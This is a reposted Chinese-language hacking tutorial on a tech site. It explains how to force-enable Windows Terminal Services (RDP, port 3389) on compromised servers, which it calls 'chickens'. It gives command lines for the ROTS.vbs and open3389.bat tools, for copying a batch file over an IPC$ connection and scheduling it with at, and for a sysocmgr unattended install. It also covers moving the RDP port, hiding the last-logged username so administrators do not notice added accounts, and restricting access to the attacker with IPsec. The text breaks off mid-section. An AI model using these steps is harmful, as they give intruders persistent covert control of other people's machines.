时间:2016-02-28 13:25 来源: 我爱IT技术网 作者:佚名
欢迎您访问我爱IT技术网,今天小编为你分享的电脑教程是网络协议方面的经验知识教程:终端全攻略,下面是详细的分享!
终端全攻略
by:dahubaobao在漏洞不段出现的今天,入侵一台服务器已经不是什么新鲜事,但凡是入侵成功之后,都想尽办法来打开终端服务,什么是终端呢?又怎么在远程打开呢?看完本文,你就会成为一个开“终端的高手”。
什么是终端服务
3389又称Terminal Service,服务终端。在WindowsNT中最先开始使用的一种终端,在Win2K的Professional版本中不可以安装,在Server或以上版本才可以安装这个服务,其服务端口为3389。由于使用简单,方便等特点,一直受系统管理员的青昧。也正式因为他的简便,不产生交互式登陆,可以在后台操作,因此也受到了黑客朋友的喜爱,事实可以说明,现在大多数朋友在入侵之后,都想打开windows终端服务,甚至不惜重启对方的计算机,也要把终端服务安装上,由此可见他的普遍性。另,在在XP系统中又叫做“远程桌面”。
打开终端服务的各种方法
下面进入正题,开始今天的“终端”之旅。(各种工具我会提供)
一, 使用ROTS.VBS脚本
插拨广告:
1, 什么是VBS
VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. 我进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了。
知道什么是VBS了,下面开始进行测试。首先你要获得这台主机的Administrator权限或Local System权限,具体怎么获得在这不必讨论。先来看看ROTS.VBS帮助.。(见图1)
ROTS v1.01
Remote Open Terminal services Script, by zzzEVAzzz
Welcome to visite www.isgrey.com
Usage:
cscript c:scriptpathROTS.vbs targetIP username password [port] [/r]
port: default number is 3389.
/r: auto reboot target.
一般的命令格式:ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]。
下面打开本地CMD,输入:ROTS.vbs XXX.XXX.XX.XXX dahubaobao dahu 3389 /fr
注意:
1,/fr为强制重启,/r为普通重启,不要搞混了。
2, 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。
优点:成功率高。
缺点:必须重新启动。
二,使用批处理(bat)
open3389.bat,先来看看帮助:(见图2)
*******************Open3389*********************
使用方法:
open3389.bat ip user password
open3389.bat 目标ip 用户名 密码
还是打开CMD,输入:open3389.bat XXX.XXX.XX.XXX dahubaobao dahu
好了 就这样来打开3389,bat文件真的很好用,建议大家去学习。
优点:不必重新启动。
缺点:成功率不高。
三, 使用HBULOT
这个工具要上传到对方的机器,然后执行,比较麻烦。
C:>net use \XXX.XXX.XX.XXXIPC$ "dahu" /user:"dahubaobao" //建立IPC连接
C:>copy HBULOT.exe \ XXX.XXX.XX.XXX WINNTadmin$ //上传到对方的systeme32目录下。
C:>net use \XXX.XXX.XX.XXXIPC$ /del //断开IPC
然后telent过去,到对方的WINNTsysteme32目录下,直接运行HBULOT.exe即可(见图
3)。
---------------------------------------------------------------------------------------------------------------
下面介绍的不需要工具,具体请看我的方法
首先telent过去,然后输入query user,使用这个命令的前提是安装终端,如果出现如图4
的情况,就表明安装了终端。如果没有,那就证明没有安装,请看我是怎么做的:
C:> dir c:sysoc.inf /s //查找sysoc.inf文件的位置
c:WINNTinf 的目录
2003-06-19 12:05 3,458 sysoc.inf
1 个文件 3,458 字节
C:>dir c:sysocmgr.* /s //查找组件安装程序
c:WINNTsystem32 的目录
1900-10-29 04:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
C:>echo [Components] > c: s
C:>echo TSEnable=on >> c: s
//建立无人职守安装的参数
C:>sysocmgr /i:c:winntinfsysoc.inf /u:c: s /q
开启3389,并且重新启动,如果
C:>sysocmgr /i:c:winntinfsysoc.inf /u:c: s /q /r
开启3389,不重新启动。
如果重新启动,那等几分钟就可以用客户端连接了,如果没重新启动,那就要等对方重新启动之后,才能连接(看你的耐心喽)。
----------------------------------------------------------------------------------
在介绍一种很方便的做法,就是做一个bat文件,在本地运行即可,下面是bat的内容
echo [Components] > c: s
echo TSEnable=on >> c: s
C:sqlsysocmgr /i:c:winntinfsysoc.inf /u:c: s /q
net use \ipipc$ dahu /user:dahubaobao
copy 路径:xxx.bat \ipwinntadmin$
at time 00:00:00 xxx.bat
主机执行之后,会自动重启,之后就可以利用3389登陆了。
这个bat文件很容易,前两条语句是“建立无人职守安装的参数”,第三条是真正的“开启终端的命令”,第四条是“IPC连接”,第五是“把bat文件copy到对方的winntsystem32目录下”,最后是用“time获取时间,然后用at命令启动。”
(个人推荐这种方法,比较简单,有点IPC知识的就可以实现。)
修改终端服务端口
这一步很重要,我们辛苦的开启了终端服务,不能因为“3389”的暴露而前功尽弃,所以端口是必须修改的,先说一下原理,终端服务安装完成后,会在注册表中增加两个键,其键值分别为16进制的3389,即“0x00000D3D”,
插拨广告:
(正整数在内存中的表示方法(以3389为例):先转换成二进制,即“110100111101”,假设系统为16位,补0,即“0000110100111101”,称为“原码”,因为3389是整数,所以最高位(或符号位)为“0”。
负整数(以-3389为例):取其原码“1000110100111101”,(注意最高位为1,因为是负数),按位取反“1111001011000010”,所得为反码,然后在把反码+1,即“1111001011000011”,称为补码,这就是负整数在内存中的表示方法。)
回到正题,首先打开“运行”,输入“regedit”启动注册表编辑器,然后打开HKEY-LOCAL_MACHINESystemCurrentControlSetControlTerminalServerWdsRepwdTdsTcp和HKEY-LOCAL_MACHINESystemCurrentControlSetControlTerminalServerWinStartionsRDP-TCP子键,修改“PortNumber”,假如我们修改成8080端口,其键值为“1F90”,保存退出,注意,重启之后才能生效,修改完成之后,会到本地,打开客户端,输入:XXX.XXX.XXX.XX:8080,就可以连接了。(见图5,6)
有的朋友对注册表不熟悉,更有甚者恐惧注册表,认为是很难驾御的地方,那好办,下面介绍一个小工具,可以在命令行下修改端口,看我是怎么做的:还是先来看帮助
=======================================================
Change Local or Remote TermService Port Program
Code By [email?protected] Http://www.Haowawa.Com
=======================================================
Local Usage: c3389 7358
Remote Usage: c3389 \192.168.0.1 adminname password 7358
Local Host TermService Port is : 3389
本地修改:c3389 端口
远程修改:c3389 \XXX.XXX.XXX.XX Admin用户 密码 端口
先来看本地修改:
打开CMD。输入c3389 post,具体见图7。
在来看远程修改:
输入c3389 \XXX.XXX.XXX.XX adminname password post。
到这里,端口就修改关闭了。
隐藏上次登陆过的用户名
在终端安装完成后,并且你已经登陆过,那么再次登陆就会显示上次登陆过的用户名,如果我们添加的帐户(或克隆)被管理员看到了,那不起疑心才怪呢?所以我们要隐藏登陆过的用户,要实现隐藏,还是要修改注册表,具体看我怎么做:在“运行”中输入“regedit”启动注册表编辑器,依次展开:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon子键下的DontDisplayLastUserName,默认键值为“0”,我们修改为“1”,保存,退出,重新启动之后生效。见图8
限制/指定连接终端的地址
现在我们已经给肉鸡看了终端,并且修改了端口,还做了一些简单的维护,但这还是不够的,假如某人知道了我们修改过的端口就是终端服务,那就挂了,所以还要在肉鸡上通过IPSEC这个系统自带的而且功能非常强大的工具来做一下限制,具体请看我的演示:
1,静态IP
假如我的IP是111.222.255.255,我们通过设置IPSEC,来让肉鸡上的终端只通过我的连接,而拒绝除了我以外
以上就是关于终端全攻略的网络协议知识分享,更多电脑教程请移步到>>电脑教程。
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
